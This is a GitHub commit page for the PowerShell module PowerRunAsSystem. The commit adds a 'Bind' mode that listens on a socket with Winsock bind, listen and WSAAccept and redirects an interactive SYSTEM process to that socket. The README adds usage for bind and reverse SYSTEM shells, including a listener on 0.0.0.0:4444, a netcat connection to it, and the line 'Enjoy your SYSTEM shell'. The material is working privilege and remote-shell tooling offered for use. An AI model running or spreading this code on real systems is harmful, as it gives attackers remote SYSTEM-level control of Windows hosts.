Skip to content

Commit

Permalink
Feat: Bind shell redirection added
Browse files Browse the repository at this point in the history
  • Loading branch information
DarkCoderSc committed Oct 15, 2024
1 parent f2408cf commit 29d2088
Show file tree
Hide file tree
Showing 3 changed files with 129 additions and 28 deletions.
Binary file modified PowerRunAsSystem/PowerRunAsSystem.psd1
Binary file not shown.
121 changes: 102 additions & 19 deletions PowerRunAsSystem/PowerRunAsSystem.psm1
Original file line number Diff line number Diff line change
Expand Up @@ -251,6 +251,30 @@ $InvokeInteractiveProcess_ScriptBlock = {
IntPtr lpGQOS
);
[DllImport("ws2_32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.I4)]
public static extern int bind(
IntPtr s,
IntPtr name,
int namelen
);
[DllImport("ws2_32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.I4)]
public static extern int listen(
IntPtr s,
int backlog
);
[DllImport("ws2_32.dll", SetLastError = true)]
public static extern IntPtr WSAAccept(
IntPtr s,
IntPtr addr,
IntPtr addrlen,
IntPtr lpfnCondition,
IntPtr dwCallbackData
);
[DllImport("ws2_32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.I4)]
public static extern int closesocket(IntPtr s);
Expand Down Expand Up @@ -365,11 +389,16 @@ $InvokeInteractiveProcess_ScriptBlock = {

[Parameter(Mandatory=$True)]
[ValidateRange(1, 65535)]
[int] $Port
[int] $Port,

[Parameter(Mandatory=$True)]
[ValidateSet("Reverse", "Bind")]
[string] $Mode
)

$SOCKET_ERROR = -1
$sockAddrPtr = [IntPtr]::Zero
$socket = -1
$socket = $SOCKET_ERROR
try
{
$socket = New-NativeSocket
Expand All @@ -388,25 +417,64 @@ $InvokeInteractiveProcess_ScriptBlock = {
[System.Runtime.InteropServices.Marshal]::WriteByte($sockAddrPtr, $i, $sockAddr[$i])
}

$result = [WS232]::WSAConnect(
$socket,
$sockAddrPtr,
$sockAddr.Size,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero
)
if ($result -eq -1)
Switch ($RedirectKind)
{
throw [WinAPIException]::New("WSAConnect")
# Reverse Shell: Remote listener must be started before executing this command.
"Reverse" {
$result = [WS232]::WSAConnect(
$socket,
$sockAddrPtr,
$sockAddr.Size,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero
)
if ($result -eq $SOCKET_ERROR)
{
throw [WinAPIException]::New("WSAConnect")
}
}

# Bind Shell: This will start a listener and wait for a single connection to occur. Notice that
# this method will block the execution until a connection is established.
"Bind" {
$result = [WS232]::bind(
$socket,
$sockAddrPtr,
$sockAddr.Size
)

if ($result -eq $SOCKET_ERROR)
{
throw [WinAPIException]::New("bind")
}

$result = [WS232]::listen(
$socket,
1 # Maximum number of pending connections (We only need one)
)

if ($result -eq $SOCKET_ERROR)
{
throw [WinAPIException]::New("listen")
}

$socket = [WS232]::WSAAccept(
$socket,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero,
[IntPtr]::Zero
)
}
}
}
catch
{
Close-NativeSocket -Socket $socket

$socket = -1
$socket = $SOCKET_ERROR
}
finally
{
Expand All @@ -425,10 +493,10 @@ $InvokeInteractiveProcess_ScriptBlock = {
[string] $CommandLine = "powershell.exe",
[switch] $Hide,

[ValidateSet("None", "Reverse")]
[ValidateSet("None", "Reverse", "Bind")]
[string] $RedirectKind = "None",

[string] $Address = "127.0.0.1",
[string] $Address = "",

[ValidateRange(1, 65535)]
[int] $Port = 2801
Expand All @@ -440,11 +508,26 @@ $InvokeInteractiveProcess_ScriptBlock = {
}

$redirectFd = $false
if ($RedirectKind -eq "Reverse")
if ($RedirectKind -ne "None")
{
# Initialize Default Address (Depending on the context)
if ($Address -eq "")
{
Switch ($RedirectKind)
{
"Reverse" {
$Address = "127.0.0.1"
}

"Bind" {
$Address = "0.0.0.0"
}
}
}

Initialize-NativeSocket

$socket = Connect-NativeSocket -Address $Address -Port $Port
$socket = Connect-NativeSocket -Address $Address -Port $Port -Mode $RedirectKind

$redirectFd = $true
}
Expand Down Expand Up @@ -932,7 +1015,7 @@ function Invoke-InteractiveSystemProcess
[string] $CommandLine = "powershell.exe",
[switch] $Hide,

[ValidateSet("None", "Reverse")]
[ValidateSet("None", "Reverse", "Bind")]
[string] $RedirectKind = "None",

# Depending on the RedirectKind, the following parameter is whether the address of remote server
Expand Down
36 changes: 27 additions & 9 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -59,25 +59,41 @@ This can be particularly useful in scenarios where an interactive SYSTEM process

#### ⚙️ Available Arguments

| Parameter | Type | Default | Description |
|-------------------------|------------------|------------------------------------------------|----------------------------------|
| CommandLine | String | powershell.exe | The complete command line to execute. |
| Hide | Switch | None | If present, the process is not visible. |
| Parameter | Type | Default | Description |
|-------------------------|------------------|------------------------------------------------|------------------------------------------------------------------------------------------------|
| CommandLine | String | powershell.exe | The complete command line to execute. |
| Hide | Switch | None | If present, the process is not visible. |
| RedirectKind | Choice | None | If the process input/output needs to be redirected to an external source (as discussed below)… |
| Address | String | None | Used if the **RedirectKind** is set (as described below). |
| Port | Int (R: 0-65535) | None | Used if the **RedirectKind** is set (as described below). |
| Address | String | None | Used if the **RedirectKind** is set (as described below). |
| Port | Int (R: 0-65535) | None | Used if the **RedirectKind** is set (as described below). |

#### Advanced Usage : RedirectKind Flag

##### `None` (Default)

No specific redirection is used; the process is spawned normally. To interact with the process, you must do so through the desktop.

##### `Reverse`
If RedirectKind Flag is specified, the `stdout`, `stderr`, and `stdin` of the process are redirected to a network socket. This setup enables interaction with the spawned process without requiring access to the desktop, which is particularly useful when the process is initiated from an SSH or WinRM session.

#### `Bind`

Spawn your interactive SYSTEM process:

````powershell
Invoke-InteractiveSystemProcess -RedirectKind "Bind" -Address "0.0.0.0" -Port 4444
````

The `stdout`, `stderr`, and `stdin` of the process are redirected to a network socket in reverse mode (client -> server). This setup enables interaction with the spawned process without requiring access to the desktop, which is particularly useful when the process is initiated from an SSH or WinRM session.
In the context of a bind shell, the address specifies the network interface to bind to. Using `0.0.0.0` means the shell will listen on all available network interfaces, while `127.0.0.1` restricts it to the loopback interface, making it accessible only from the local machine.

Example:
Then, with netcat, connect to listener:

`````bash
nc 127.0.0.1 4444
`````

In the context of a bind shell, it is important to note that the temporary SYSTEM process acting as the **launcher** will remain in a hanging state until a client connects to the listener. Only one client can connect to the listener, only once. Once connected, an interactive SYSTEM process will be established. When the session/process, both the client and listener will be released, marking the termination of the **launcher**.

##### `Reverse`

Create a new Netcat listener (adapt the command according to your operating system and version of Netcat):
````bash
Expand All @@ -90,6 +106,8 @@ Then, spawn your interactive SYSTEM process:
Invoke-InteractiveSystemProcess -RedirectKind "Reverse" -Address "127.0.0.1" -Port 4444
````

In the context of a reverse shell, it is important to note that a listener must be started before executing the reverse shell command. If the listener is not active, the attempt to spawn an interactive SYSTEM process will fail.

Enjoy your SYSTEM shell 🐚

![Reverse Interactive SYSTEM Shell](images/ReverseInteractive.png)
Expand Down

0 comments on commit 29d2088

Please sign in to comment.